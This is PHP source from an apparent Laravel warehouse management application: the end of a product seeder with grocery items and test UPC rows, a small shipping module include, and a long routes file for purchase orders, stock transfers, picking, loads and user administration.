"sku"=>900041,
"upc"=>900041,
"description"=>"TANG ICETEA APPLE35G",
"short_description"=>"TANGICETEA",
"vendor"=>30004,
"dept_code"=>200,
"sub_dept"=>250,
"class"=>227,
"sub_class"=>203,
"set_code"=>0
,"created_at" => date('Y-m-d H:i:s')
));
ProductList::create(array(
"sku"=>900042,
"upc"=>900042,
"description"=>"TANG 4SEASONS 25G",
"short_description"=>"TANGSEASON",
"vendor"=>30004,
"dept_code"=>200,
"sub_dept"=>250,
"class"=>227,
"sub_class"=>203,
"set_code"=>0
,"created_at" => date('Y-m-d H:i:s')
));
ProductList::create(array(
"sku"=>900043,
"upc"=>900043,
"description"=>"OREO SANDWICH VANILLA 137 G",
"short_description"=>"OREOSANDWI",
"vendor"=>30004,
"dept_code"=>200,
"sub_dept"=>260,
"class"=>230,
"sub_class"=>201,
"set_code"=>0
,"created_at" => date('Y-m-d H:i:s')
));
ProductList::create(array(
"sku"=>900044,
"upc"=>900044,
"description"=>"OREO SAND DBL STUF 152.4 G",
"short_description"=>"OREOSANDDB",
"vendor"=>30004,
"dept_code"=>200,
"sub_dept"=>260,
"class"=>230,
"sub_class"=>201,
"set_code"=>0
,"created_at" => date('Y-m-d H:i:s')
));
ProductList::create(array(
"sku"=>900045,
"upc"=>900045,
"description"=>"CHIPS AHOY 85.5G",
"short_description"=>"CHIPSAHOYG",
"vendor"=>30004,
"dept_code"=>200,
"sub_dept"=>260,
"class"=>230,
"sub_class"=>201,
"set_code"=>0
,"created_at" => date('Y-m-d H:i:s')
));
ProductList::create(array(
"sku"=>900046,
"upc"=>900046,
"description"=>"OREO 29.4G SEA",
"short_description"=>"OREOGSEA",
"vendor"=>30004,
"dept_code"=>200,
"sub_dept"=>260,
"class"=>230,
"sub_class"=>201,
"set_code"=>0
,"created_at" => date('Y-m-d H:i:s')
));
ProductList::create(array(
"sku"=>900047,
"upc"=>900047,
"description"=>"OREO SANDWICH CHOCO 137G",
"short_description"=>"OREOSANDWI",
"vendor"=>30004,
"dept_code"=>200,
"sub_dept"=>260,
"class"=>230,
"sub_class"=>201,
"set_code"=>0
,"created_at" => date('Y-m-d H:i:s')
));
ProductList::create(array(
"sku"=>900048,
"upc"=>900048,
"description"=>"CHIPS AHOY 38G",
"short_description"=>"CHIPSAHOYG",
"vendor"=>30004,
"dept_code"=>200,
"sub_dept"=>260,
"class"=>230,
"sub_class"=>201,
"set_code"=>0
,"created_at" => date('Y-m-d H:i:s')
));
ProductList::create(array(
"sku"=>900049,
"upc"=>900049,
"description"=>"CHIPS AHOY 266G",
"short_description"=>"CHIPSAHOYG",
"vendor"=>30004,
"dept_code"=>200,
"sub_dept"=>260,
"class"=>230,
"sub_class"=>201,
"set_code"=>0
,"created_at" => date('Y-m-d H:i:s')
));
ProductList::create(array(
"sku"=>900050,
"upc"=>900050,
"description"=>"TIGER ENERGY 50.4 G",
"short_description"=>"TIGERENERG",
"vendor"=>30004,
"dept_code"=>200,
"sub_dept"=>260,
"class"=>230,
"sub_class"=>201,
"set_code"=>0
,"created_at" => date('Y-m-d H:i:s')
));
ProductList::create(array(
"sku"=>900051,
"upc"=>900051,
"description"=>"OREO VANILLA 19.6G",
"short_description"=>"OREOVANILL",
"vendor"=>30004,
"dept_code"=>200,
"sub_dept"=>260,
"class"=>230,
"sub_class"=>201,
"set_code"=>0
,"created_at" => date('Y-m-d H:i:s')
));
ProductList::create(array(
"sku"=>900052,
"upc"=>900052,
"description"=>"OREO VANILLA 29.4G",
"short_description"=>"OREOVANILL",
"vendor"=>30004,
"dept_code"=>200,
"sub_dept"=>260,
"class"=>230,
"sub_class"=>201,
"set_code"=>0
,"created_at" => date('Y-m-d H:i:s')
));
ProductList::create(array(
"sku"=>900053,
"upc"=>900053,
"description"=>"CHEEZ WHIZ SULIT15G",
"short_description"=>"CHEEZWHIZS",
"vendor"=>30004,
"dept_code"=>200,
"sub_dept"=>280,
"class"=>244,
"sub_class"=>201,
"set_code"=>0
,"created_at" => date('Y-m-d H:i:s')
));
ProductList::create(array(
"sku"=>'NGM0001',
"upc"=>'NGM0001',
"description"=>"TEST UPC",
"short_description"=>"TestUpc",
"vendor"=>30004,
"dept_code"=>200,
"sub_dept"=>280,
"class"=>244,
"sub_class"=>201,
"set_code"=>0
,"created_at" => date('Y-m-d H:i:s')
));
ProductList::create(array(
"sku"=>'NGM0002',
"upc"=>'NGM0002',
"description"=>"TEST UPC",
"short_description"=>"TestUpc",
"vendor"=>30004,
"dept_code"=>200,
"sub_dept"=>280,
"class"=>244,
"sub_class"=>201,
"set_code"=>0
,"created_at" => date('Y-m-d H:i:s')
));
ProductList::create(array(
"sku"=>'NGM0003',
"upc"=>'NGM0003',
"description"=>"TEST UPC",
"short_description"=>"TestUpc",
"vendor"=>30004,
"dept_code"=>200,
"sub_dept"=>280,
"class"=>244,
"sub_class"=>201,
"set_code"=>0
,"created_at" => date('Y-m-d H:i:s')
));
ProductList::create(array(
"sku"=>'NGM0004',
"upc"=>'NGM0004',
"description"=>"TEST UPC",
"short_description"=>"TestUpc",
"vendor"=>30004,
"dept_code"=>200,
"sub_dept"=>280,
"class"=>244,
"sub_class"=>201,
"set_code"=>0
,"created_at" => date('Y-m-d H:i:s')
));
ProductList::create(array(
"sku"=>'NGM0005',
"upc"=>'NGM0005',
"description"=>"TEST UPC",
"short_description"=>"TestUpc",
"vendor"=>30004,
"dept_code"=>200,
"sub_dept"=>280,
"class"=>244,
"sub_class"=>201,
"set_code"=>0
,"created_at" => date('Y-m-d H:i:s')
));
ProductList::create(array(
"sku"=>'NGM0006',
"upc"=>'NGM0006',
"description"=>"TEST UPC",
"short_description"=>"TestUpc",
"vendor"=>30004,
"dept_code"=>200,
"sub_dept"=>280,
"class"=>244,
"sub_class"=>201,
"set_code"=>0
,"created_at" => date('Y-m-d H:i:s')
));
ProductList::create(array(
"sku"=>'NGM0007',
"upc"=>'NGM0007',
"description"=>"TEST UPC",
"short_description"=>"TestUpc",
"vendor"=>30004,
"dept_code"=>200,
"sub_dept"=>280,
"class"=>244,
"sub_class"=>201,
"set_code"=>0
,"created_at" => date('Y-m-d H:i:s')
));
ProductList::create(array(
"sku"=>'NGM0008',
"upc"=>'NGM0008',
"description"=>"TEST UPC",
"short_description"=>"TestUpc",
"vendor"=>30004,
"dept_code"=>200,
"sub_dept"=>280,
"class"=>244,
"sub_class"=>201,
"set_code"=>0
,"created_at" => date('Y-m-d H:i:s')
));
ProductList::create(array(
"sku"=>'NGM0009',
"upc"=>'NGM0009',
"description"=>"TEST UPC",
"short_description"=>"TestUpc",
"vendor"=>30004,
"dept_code"=>200,
"sub_dept"=>280,
"class"=>244,
"sub_class"=>201,
"set_code"=>0
,"created_at" => date('Y-m-d H:i:s')
));
ProductList::create(array(
"sku"=>'NGM0010',
"upc"=>'NGM0010',
"description"=>"TEST UPC",
"short_description"=>"TestUpc",
"vendor"=>30004,
"dept_code"=>200,
"sub_dept"=>280,
"class"=>244,
"sub_class"=>201,
"set_code"=>0
,"created_at" => date('Y-m-d H:i:s')
));
ProductList::create(array(
"sku"=>'NGM0011',
"upc"=>'NGM0011',
"description"=>"TEST UPC",
"short_description"=>"TestUpc",
"vendor"=>30004,
"dept_code"=>200,
"sub_dept"=>280,
"class"=>244,
"sub_class"=>201,
"set_code"=>0
,"created_at" => date('Y-m-d H:i:s')
));
ProductList::create(array(
"sku"=>'NGM0012',
"upc"=>'NGM0012',
"description"=>"TEST UPC",
"short_description"=>"TestUpc",
"vendor"=>30004,
"dept_code"=>200,
"sub_dept"=>280,
"class"=>244,
"sub_class"=>201,
"set_code"=>0
,"created_at" => date('Y-m-d H:i:s')
));
ProductList::create(array(
"sku"=>'NGM0013',
"upc"=>'NGM0013',
"description"=>"TEST UPC",
"short_description"=>"TestUpc",
"vendor"=>30004,
"dept_code"=>200,
"sub_dept"=>280,
"class"=>244,
"sub_class"=>201,
"set_code"=>0
,"created_at" => date('Y-m-d H:i:s')
));
ProductList::create(array(
"sku"=>'NGM0014',
"upc"=>'NGM0014',
"description"=>"TEST UPC",
"short_description"=>"TestUpc",
"vendor"=>30004,
"dept_code"=>200,
"sub_dept"=>280,
"class"=>244,
"sub_class"=>201,
"set_code"=>0
,"created_at" => date('Y-m-d H:i:s')
));
ProductList::create(array(
"sku"=>'NGM0015',
"upc"=>'NGM0015',
"description"=>"TEST UPC",
"short_description"=>"TestUpc",
"vendor"=>30004,
"dept_code"=>200,
"sub_dept"=>280,
"class"=>244,
"sub_class"=>201,
"set_code"=>0
,"created_at" => date('Y-m-d H:i:s')
));
ProductList::create(array(
"sku"=>'NGM0016',
"upc"=>'NGM0016',
"description"=>"TEST UPC",
"short_description"=>"TestUpc",
"vendor"=>30004,
"dept_code"=>200,
"sub_dept"=>280,
"class"=>244,
"sub_class"=>201,
"set_code"=>0
,"created_at" => date('Y-m-d H:i:s')
));
ProductList::create(array(
"sku"=>'NGM0017',
"upc"=>'NGM0017',
"description"=>"TEST UPC",
"short_description"=>"TestUpc",
"vendor"=>30004,
"dept_code"=>200,
"sub_dept"=>280,
"class"=>244,
"sub_class"=>201,
"set_code"=>0
,"created_at" => date('Y-m-d H:i:s')
));
ProductList::create(array(
"sku"=>'NGM0018',
"upc"=>'NGM0018',
"description"=>"TEST UPC",
"short_description"=>"TestUpc",
"vendor"=>30004,
"dept_code"=>200,
"sub_dept"=>280,
"class"=>244,
"sub_class"=>201,
"set_code"=>0
,"created_at" => date('Y-m-d H:i:s')
));
ProductList::create(array(
"sku"=>'NGM0019',
"upc"=>'NGM0019',
"description"=>"TEST UPC",
"short_description"=>"TestUpc",
"vendor"=>30004,
"dept_code"=>200,
"sub_dept"=>280,
"class"=>244,
"sub_class"=>201,
"set_code"=>0
,"created_at" => date('Y-m-d H:i:s')
));
ProductList::create(array(
"sku"=>'NGM0020',
"upc"=>'NGM0020',
"description"=>"TEST UPC",
"short_description"=>"TestUpc",
"vendor"=>30004,
"dept_code"=>200,
"sub_dept"=>280,
"class"=>244,
"sub_class"=>201,
"set_code"=>0
,"created_at" => date('Y-m-d H:i:s')
));
ProductList::create(array(
"sku"=>'NGM0021',
"upc"=>'NGM0021',
"description"=>"TEST UPC",
"short_description"=>"TestUpc",
"vendor"=>30004,
"dept_code"=>200,
"sub_dept"=>280,
"class"=>244,
"sub_class"=>201,
"set_code"=>0
,"created_at" => date('Y-m-d H:i:s')
));
ProductList::create(array(
"sku"=>'NGM0022',
"upc"=>'NGM0022',
"description"=>"TEST UPC",
"short_description"=>"TestUpc",
"vendor"=>30004,
"dept_code"=>200,
"sub_dept"=>280,
"class"=>244,
"sub_class"=>201,
"set_code"=>0
,"created_at" => date('Y-m-d H:i:s')
));
ProductList::create(array(
"sku"=>'NGM0023',
"upc"=>'NGM0023',
"description"=>"TEST UPC",
"short_description"=>"TestUpc",
"vendor"=>30004,
"dept_code"=>200,
"sub_dept"=>280,
"class"=>244,
"sub_class"=>201,
"set_code"=>0
,"created_at" => date('Y-m-d H:i:s')
));
ProductList::create(array(
"sku"=>'NGM0024',
"upc"=>'NGM0024',
"description"=>"TEST UPC",
"short_description"=>"TestUpc",
"vendor"=>30004,
"dept_code"=>200,
"sub_dept"=>280,
"class"=>244,
"sub_class"=>201,
"set_code"=>0
,"created_at" => date('Y-m-d H:i:s')
));
ProductList::create(array(
"sku"=>'NGM0025',
"upc"=>'NGM0025',
"description"=>"TEST UPC",
"short_description"=>"TestUpc",
"vendor"=>30004,
"dept_code"=>200,
"sub_dept"=>280,
"class"=>244,
"sub_class"=>201,
"set_code"=>0
,"created_at" => date('Y-m-d H:i:s')
));
ProductList::create(array(
"sku"=>'NGM0026',
"upc"=>'NGM0026',
"description"=>"TEST UPC",
"short_description"=>"TestUpc",
"vendor"=>30004,
"dept_code"=>200,
"sub_dept"=>280,
"class"=>244,
"sub_class"=>201,
"set_code"=>0
,"created_at" => date('Y-m-d H:i:s')
));
ProductList::create(array(
"sku"=>'NGM0027',
"upc"=>'NGM0027',
"description"=>"TEST UPC",
"short_description"=>"TestUpc",
"vendor"=>30004,
"dept_code"=>200,
"sub_dept"=>280,
"class"=>244,
"sub_class"=>201,
"set_code"=>0
,"created_at" => date('Y-m-d H:i:s')
));
ProductList::create(array(
"sku"=>'NGM0028',
"upc"=>'NGM0028',
"description"=>"TEST UPC",
"short_description"=>"TestUpc",
"vendor"=>30004,
"dept_code"=>200,
"sub_dept"=>280,
"class"=>244,
"sub_class"=>201,
"set_code"=>0
,"created_at" => date('Y-m-d H:i:s')
));
ProductList::create(array(
"sku"=>'NGM0029',
"upc"=>'NGM0029',
"description"=>"TEST UPC",
"short_description"=>"TestUpc",
"vendor"=>30004,
"dept_code"=>200,
"sub_dept"=>280,
"class"=>244,
"sub_class"=>201,
"set_code"=>0
,"created_at" => date('Y-m-d H:i:s')
));
ProductList::create(array(
"sku"=>'NGM0030',
"upc"=>'NGM0030',
"description"=>"TEST UPC",
"short_description"=>"TestUpc",
"vendor"=>30004,
"dept_code"=>200,
"sub_dept"=>280,
"class"=>244,
"sub_class"=>201,
"set_code"=>0
,"created_at" => date('Y-m-d H:i:s')
));
ProductList::create(array(
"sku"=>'NGM0031',
"upc"=>'NGM0031',
"description"=>"TEST UPC",
"short_description"=>"TestUpc",
"vendor"=>30004,
"dept_code"=>200,
"sub_dept"=>280,
"class"=>244,
"sub_class"=>201,
"set_code"=>0
,"created_at" => date('Y-m-d H:i:s')
));
}
}<file_sep><?php
include_once("jda_modules.php");
$module = new jdaModules();
$flagCarton = $module->shipping();<file_sep><?php
ini_set('max_execution_time', 0);
/*
|--------------------------------------------------------------------------
| Application Routes
|--------------------------------------------------------------------------
|
| Here is where you can register all of the routes for an application.
| It's a breeze. Simply tell Laravel the URIs it should respond to
| and give it the Closure to execute when that URI is requested.
|
*/
Route::get('/', 'HomeController@showIndex');
Route::controller('users', 'UsersController');
Route::group(array('prefix'=>'api'), function()
{
//Route::controller('user', 'ApiUsers');
Route::get('user', 'ApiUsers@postLogin');
});
//stores api
Route::group(array('prefix'=>'api/v1'), function()
{
Route::controller('store_user', 'ApiStoreUsers');
Route::get('store_receive', 'ApiStoreSO@getSO');
Route::get('store_receive/detail/{so_no}', 'ApiStoreSO@getSoDetails');
Route::post('store_receive/accept/{so_no}', 'ApiStoreSO@postAcceptSo');
});
//end stores api
Route::group(array("before"=>"auth.basic"), function()
{
route::get('barcodesasdf', 'LoadController@exportCSVbarcode');
Route::get('load/shipping', 'shippingController@index');
Route::get('load/assigned', 'shippingController@assignPilerForm');
Route::post('shipping/assigned_to', 'shippingController@assignToPiler');
Route::get('load/boxnumber', [
'as' => 'load/boxnumber',
'uses'=> 'BoxController@getlist12' ]);
Route::get('load/loadnumbersync', [
'as' => 'load/loadnumbersync',
'uses'=> 'BoxController@loadnumbersync' ]);
Route::get('load/loadnumbersyncstock', [
'as' => 'load/loadnumbersyncstock',
'uses'=> 'BoxController@loadnumbersyncstock' ]);
Route::get('load/loadnumbersyncstock', [
'as' => 'load/loadnumbersyncstock',
'uses'=> 'BoxController@getloadnumbersyncstock' ]);
Route::get('load/shipLoad',[
'as' => 'load/shipLoad',
'uses'=> 'BoxController@shippedload' ]);
Route::get('load/shipLoadstock',[
'as' => 'load/shipLoadstock',
'uses'=> 'BoxController@shippedloadstock' ]);
Route::get('load/loadnumber', [
'as' => 'load/loadnumber',
'uses'=> 'BoxController@loadnumber'
]);
Route::get('load/removed', [
'as' => 'load/removed',
'uses'=> 'BoxController@getremoved'
]);
Route::get('load/boxdetails',[
'as' => 'load/boxdetails',
'uses' => 'BoxController@getBoxDetails']);
Route::get('load/load_details','BoxController@index');
Route::get('load/box_content', 'BoxController@getBoxDetails');
Route::post('box/new/load', 'BoxController@generateLoadCode');
Route::get('stock/new/load', 'BoxController@generateLoadCodestock');
//Route::get('box_list_details/{id}', array('as' => 'box_list_details', 'uses' => 'BoxController@getListBox'));
Route::get('purchase_order', 'PurchaseOrderController@showIndex');
Route::get('purchase_order/discrepansy', 'PurchaseOrderController@getlist1');
Route::post('purchase_order/assign_to_piler', 'PurchaseOrderController@assignToStockPiler');
Route::post('purchase_order/close_po', 'PurchaseOrderController@closePODebenhams');
Route::post('purchase_order/partialreceivebtn', [
'as' => 'purchase_order/partialreceivebtn',
'uses' => 'PurchaseorderController@PartialReceive', ]);
Route::get('purchase_order/export', 'PurchaseOrderController@exportCSV');
/*route::get('purchase_order/partial_received',[
'as' => 'purchase_order/partial_received',
'uses' => 'PurchaseorderController@getPartialReceiveButton',]);*/
/* route::get('purchase_order/export_excel_file',[
'as' => 'purchase_order/export_excel_file',
'uses' => 'PurchaseorderController@exportCSVexcelfile',]);*/
Route::get('purchase_order/export123', array('uses' => 'PurchaseOrderController@getExcelFile', 'as' => 'purchase_order/export123'));
/* route::get('purchase_order/export_excel_file',[
'as' => 'purchase_order/export_excel_file',
'uses' => 'PurchaseorderController@exportCSVexcelfiledap',]);
*/
Route::get('purchase_order/export_detail', 'PurchaseOrderController@exportDetailsCSV');
Route::get('purchase_order/export_backorder', 'PurchaseOrderController@exportBackorder');
Route::post('purchase_order/reopen', 'PurchaseOrderController@reopen');
Route::get('purchase_order/assign', 'PurchaseOrderController@assignPilerForm');
Route::get('purchase_order/pulljda', 'PurchaseOrderController@pullJDA');
Route::get('purchase_order/get_division', 'PurchaseOrderController@getDivisionv2');
Route::get('purchase_order/division', 'PurchaseOrderController@showdivision');
Route::get('purchase_order/discrepansy', 'PurchaseorderController@discrepansy');
Route::get('purchase_order/updateqty', 'PurchaseOrderController@updateqty');
Route::get('purchase_order/shipment_input',[
'as' => 'purchase_order/shipment_input',
'uses' => 'PurchaseorderController@getShipmentInput']);
Route::get('purchase_order/detail', 'PurchaseOrderController@getPODetails');
Route::get('purchase_order/sync_to_mobile', 'PurchaseOrderController@synctomobile');
/* Route::get('purchase_order/pullPOPartialReceive', [
'as' => 'purchase_order/pullPOPartialReceive',
'uses' => 'PurchaseorderController@pullPODemo' ]);
*/
Route::get('purchase_order/sync','PurchaseOrderController@synctdivision');
Route::get('purchase_order/sync_to_mobile_division', 'PurchaseOrderController@synctomobiledivision');
/*================================================================*/
/*******************************stock transfer module************************/
Route::get('store_return/detail', 'StoreReturnController@getSODetails');
Route::get('store_return/assign', 'StoreReturnController@assignPilerForm');
Route::get('stocktransfer/assignpicking', 'StoreReturnController@assignPilerFormpicking');
Route::post('stock_transfer/stocktransferpicking',[
'as' => 'stock_transfer/stocktransferpicking',
'uses' => 'StoreReturnController@assignToStockPilerPicking']);
Route::get('stock_transfer/discrepansymts',[
'as' => 'stock_transfer/discrepansymts',
'uses' => 'StocktransferController@getdiscrepancymts']);
Route::get('stock_transfer/discrepansypick',[
'as' => 'stock_transfer/discrepansypcik',
'uses' => 'StocktransferController@getdiscrepancypick']);
route::get('stock_transfer/discrepansyPdffile',[
'as' => 'stock_transfer/discrepansyPdffile',
'uses' => 'StoreReturnController@exportCSVMTSdicrepancy']);
route::get('stock_transfer/discrepansyExcelfile',[
'as' => 'stock_transfer/discrepansyExcelfile',
'uses' => 'StoreReturnController@getReportNewExcel']);
Route::get('store_return/export', 'StoreReturnController@exportCSV');
Route::get('store_return/export_detail', 'StoreReturnController@exportDetailsCSV');
Route::post('store_return/close', 'StoreReturnController@closeStoreReturn');
Route::get('stocktransfer/stocktranferload',[
'as' => 'stocktransfer/stocktranferload',
'uses' => 'shippingController@getStockStransferLoad']);
Route::get('stock_transfer/assignToTLNumber',[
'as' => 'stock_transfer/assignToTLNumber',
'uses' => 'StocktransferController@getStockTLnumberPosted']);
Route::get('stock_transfer/TLnumbersync', [
'as' => 'stock_transfer/TLnumbersync',
'uses'=> 'StocktransferController@StoreReturnTLnumbersync' ]);
Route::get('store_return/pickingstock', [
'as' => 'store_return/pickingstock',
'uses' => 'StocktransferController@getUpdateDate']);
/***********asdfasdf dd*******/
Route::get('stocktransfer/assignedstockload',[
'as' => 'stocktransfer/assignedstockload',
'uses' => 'StocktransferController@getstockloadassign']);
Route::post('stocktransfer/assignedstockloadpost',[
'as' => 'stocktransfer/assignedstockloadpost',
'uses' => 'StocktransferController@getstockloadassignpost']);
/**********asdfasdfasf d d d dd********/
Route::get('stock_transfer/removed', [
'as' => 'stock_transfer/removed',
'uses'=> 'StocktransferController@getremoved']);
Route::get('stock_transfer/PickingTLnumbersync', [
'as' => 'stock_transfer/PickingTLnumbersync',
'uses'=> 'StocktransferController@StoreReturnPickingandPackTLnumbersync' ]);
Route::get('stock_transfer/assignPostedTLnumberStockTransfer',[
'as' => 'stock_transfer/assignPostedTLnumberStockTransfer',
'uses' => 'StocktransferController@getStockTransferLoadnumberAssign']);
route::get('stock_transfer/exportCSV',[
'as' => 'stock_transfer/exportCSV',
'uses'=> 'StocktransferController@getMTSCSV']);
route::get('stock_transfer/exportCSVunlisted',[
'as' => 'stock_transfer/exportCSVunlisted',
'uses'=> 'StocktransferController@getCSVUnlistedReportMTS']);
Route::get ('stock_transfer/stocknumbertlnumber',[
'as' => 'stock_transfer/stocknumbertlnumber',
'uses' => 'StocktransferController@getlist1']);
Route::get('stock_transfer/exportCSVpickingreport',[
'as' => 'stock_transfer/exportCSVpickingreport',
'uses'=> 'StocktransferController@getCSVPickingReport']);
route::get('stock_transfer/export_excel_file',[
'as' => 'stock_transfer/export_excel_file',
'uses' => 'StocktransferController@exportCSVasdf2fsdf']);
Route::get('stock_transfer/closemtsnumber', [
'as' => 'stock_transfer/closemtsnumber',
'uses'=> 'StocktransferController@closePickliststockreceiving']);
Route::get('stock_transfer/closetlnumberpick', [
'as' => 'stock_transfer/closetlnumberpick',
'uses'=> 'StocktransferController@closePickliststockpicking' ]);
Route::get('stock_transfer/MTSReceiving','StocktransferController@getSOList');
route::get('stock_transfer/mts_discrepansy',[
'as' => 'stock_transfer/mts_discrepansy',
'uses' => 'StocktransferController@getdiscrepancymts']);
Route::post('store_return/assign_to_piler', 'StoreReturnController@assignToStockPiler');
Route::get('stocktransfer/mts_transfer', [
'as' => 'stocktransfer/mts_transfer',
'uses'=> 'StocktransferController@getlist' ]);
Route::get('stocktransfer/PickAndPackStore', [
'as' => 'stocktransfer/PickAndPackStore',
'uses'=> 'StocktransferController@PickAndPackStore' ]);
Route::get('stocktransfer/MTSpickdetails', [
'as' => 'stocktransfer/MTSpickdetails',
'uses'=> 'StocktransferController@getMTSpickpackdetails' ]);
Route::get('stock_transfer/assign',[
'as' => 'stock_transfer/assign',
'uses' => 'StocktransferController@StockTransferpiler' ]);
Route::get('store_return/mts_receiving_detail',[
'as' => 'store_return/mts_receiving_detail',
'uses' =>'StocktransferController@getMtsRecevingDetail' ]);
Route::post('mtsload/new/loadcode',[ // stock transfer load generate controller //
'as' => 'mtsload/new/loadcode',
'uses' => 'StocktransferController@getMTSGenerateLoadCode' ]);
/*================================================================*/
/*******************************stock transfer module************************/
Route::get('reverse_logistic/exportCSV', [
'as' => 'reverse_logistic/exportCSV',
'uses' => 'ReverseLogisticController@exportDetailsCSV']);
Route::get('reverse_logistic/exportCSVexcelfile',[
'as' => 'reverse_logistic/exportCSVexcelfile',
'uses' => 'ReverseLogisticController@getReportNewExcel']);
Route::get('reverse_logistic/exportCSVunlisted', [
'as' => 'reverse_logistic/exportCSVunlisted',
'uses' => 'ReverseLogisticController@exportReverseUnlisted']);
Route::get('reverse_logistic/reverse_list',[
'as' =>'reverse_logistic/reverse_list',
'uses'=>'ReverseLogisticController@getreverselist']);
Route::get('reverse_logistic/discrepansy',[
'as' =>'reverse_logistic/discrepansy',
'uses'=>'ReverseLogisticController@getdiscrepancy']);
Route::get('reverse_logistic/TLnumbersync', [
'as' => 'reverse_logistic/TLnumbersync',
'uses'=> 'ReverseLogisticController@ReverseTLnumbersync' ]);
Route::get('reverse_logistic/closetlnumberReverse', [
'as' => 'reverse_logistic/closetlnumberReverse',
'uses'=> 'ReverseLogisticController@closeReverseStatus' ]);
Route::get('reverse_logistic/assign',[
'as' => 'reverse_logistic/assign',
'uses'=> 'ReverseLogisticController@assignPilerFormReverse' ]);
Route::get('reverse_logistic/detail',[
'as' => 'reverse_logistic/detail',
'uses' => 'ReverseLogisticController@getSODetails' ]);
Route::post('reverse_logistic/assign_2_piler',[
'as' => 'reverse_logistic/assign_2_piler',
'uses' => 'ReverseLogisticController@assignToStockPilerReversepost' ]);
Route::get('reverse_logistic/export',[
'as' => 'reverse_logistic/export',
'uses'=> 'ReverseLogisticController@exportCSV' ]);
Route::get('reverse_logistic/export_detail',[
'as' => 'reverse_logistic/export_detail',
'uses'=> 'ReverseLogisticController@exportDetailsCSV' ]);
Route::get('box/list', 'BoxController@index');
Route::get('box/detail', 'BoxController@getBoxDetails');
Route::get('box/create', 'BoxController@createBox');
Route::post('box/create', 'BoxController@postCreateBox');
Route::get('box/update', 'BoxController@updateBox');
Route::post('box/update', 'BoxController@postUpdateBox');
Route::get('box/export', 'BoxController@exportBoxes');
Route::get('box/export_detail', 'BoxController@exportDetailsCSV');
Route::get('box/delete', 'BoxController@deleteBoxes');
Route::post('box/load', 'BoxController@loadBoxes');
Route::get('box/assign', 'BoxController@assignPilerForm');
Route::post('box/assign_to_piler', 'BoxController@assignToStockPiler');
Route::get('letdown', 'LetDownController@showIndex');
Route::get('letdown/detail', 'LetDownController@getLetDownDetails');
Route::get('letdown/export', 'LetDownController@exportCSV');
Route::get('letdown/export_detail', 'LetDownController@exportDetailsCSV');
Route::post('letdown/close_letdown', 'LetDownController@closeLetdown');
Route::get('letdown/locktags', 'LetDownController@getLockTagList');
Route::get('letdown/locktags_detail', 'LetDownController@getLockTagDetail');
Route::post('letdown/unlock', 'LetDownController@unlockLetdownTag');
Route::get('picking/TLnumbersync', [
'as' => 'picking/TLnumbersync',
'uses'=> 'PicklistController@TLnumbersync'
]);
Route::get('picking/list', 'PicklistController@showIndex');
Route::get('picking/updatedate', [
'as' => 'picking/updatedate',
'uses' => 'PicklistController@getUpdateDate']);
Route::get('picking/detail', 'PicklistController@getPicklistDetails');
Route::get('picking/discrepansy',[
'as' => 'picking/discrepansy',
'uses' => 'PicklistController@getdiscrepancy']);
Route::get('picking/export_excel_file',[
'as' => 'picking/export_excel_file',
'uses' => 'PicklistController@exportCSVasdf2fsdf']);
Route::get('picking/export', 'PicklistController@exportPickListVarianceCSV');
Route::get('picking/export_detail', 'PicklistController@exportDetailCSV');
Route::get('picking/update', 'PicklistController@updatePicklist');
Route::get('picking/locktags', 'PicklistController@getLockTagList');
Route::get('picking/locktags_detail', 'PicklistController@getLockTagDetail');
Route::post('picking/unlock', 'PicklistController@unlockPicklistTag');
Route::post('picking/change_to_store', 'PicklistController@changeToStore');
Route::post('picking/new/load', 'PicklistController@generateLoadCode');
Route::post('picking/load', 'PicklistController@loadPicklistDocuments');
Route::get('picking/assign', 'PicklistController@assignPilerForm');
Route::post('picking/assign_to_piler', 'PicklistController@assignToStockPiler');
Route::post('picking/close', 'PicklistController@closePicklist');
Route::get('picking/printpacklist/{doc_num}', 'PicklistController@printPackingList');
/*
Route::get('picking/printboxlabel/{doc_num}', 'PicklistController@printBoxLabel');*/
Route::get('picking/printboxlabel/{doc_num}','PicklistController@printBoxLabelA4size');
Route::get('picking/printboxlabelstock/{doc_num}', 'StocktransferController@printBoxLabelstock');
Route::get('inventory', 'InventoryController@showIndex');
Route::get('inventory/export', 'InventoryController@exportCSV');
Route::get('inventory/detail', 'InventoryController@getDetails');
Route::get('inventory/export_detail', 'InventoryController@exportDetailsCSV');
Route::get('load/barcodes', 'LoadController@getbarcode');
Route::get('products', 'ProductListController@showIndex');
Route::get('products/export', 'ProductListController@exportCSV');
Route::get('products/department', 'ProductListController@getSubDepartments');
Route::get('slots', 'SlotListController@showIndex');
Route::get('slots/export', 'SlotListController@exportCSV');
Route::get('stores', 'StoreController@showIndex');
Route::get('stores/export', 'StoreController@exportCSV');
Route::get('vendors', 'VendorController@showIndex');
Route::get('vendors/export', 'VendorController@exportCSV');
Route::get('user', 'UsersController@showIndex');
Route::get('user/insert', 'UsersController@insertDataForm');
Route::post('user/insertData', 'UsersController@insertData');
Route::get('user/update', 'UsersController@updateDataForm');
Route::post('user/updateData', 'UsersController@updateData');
Route::get('user/password', 'UsersController@updatePasswordForm');
Route::post('user/updatePassword', 'UsersController@updatePassword');
Route::post('user/delete', 'UsersController@deleteData');
Route::get('user/export', 'UsersController@exportCSV');
Route::get('user/profile', 'UsersController@updateProfileForm');
Route::get('user/change_password', 'UsersController@updateProfilePasswordForm');
Route::get('user_roles', 'UserRolesController@showIndex');
Route::get('user_roles/insert', 'UserRolesController@insertDataForm');
Route::post('user_roles/insertData', 'UserRolesController@insertData');
Route::get('user_roles/update', 'UserRolesController@updateDataForm');
Route::post('user_roles/updateData', 'UserRolesController@updateData');
Route::post('user_roles/delete', 'UserRolesController@deleteData');
Route::get('audit_trail', 'AuditTrailController@showIndex');
Route::get('audit_trail/insert', 'AuditTrailController@insertData');
Route::get('audit_trail/export', 'AuditTrailController@exportCSV');
Route::get('audit_trail/archive_logs', 'AuditTrailController@archive');
Route::get('settings', 'SettingsController@showIndex');
Route::get('settings/insert', 'SettingsController@insertDataForm');
Route::post('settings/insertData', 'SettingsController@insertData');
Route::get('settings/update', 'SettingsController@updateDataForm');
Route::post('settings/updateData', 'SettingsController@updateData');
Route::post('settings/delete', 'SettingsController@deleteData');
Route::get('load/list', 'LoadController@showIndex');
Route::get('load/export', 'LoadController@exportCSV');
Route::post('load/ship', 'LoadController@shipLoad');
Route::get('load/print/{loadCode}', 'LoadController@printLoad');
Route::get('load/print/update/{loadCode}', 'LoadController@updatePrintLoad');/*
Route::get('load/printpacklist/{loadCode}', 'LoadController@printPackingList');*/
Route::get('load/printpackliststock/{loadCode}', 'LoadController@printPackingListstock');
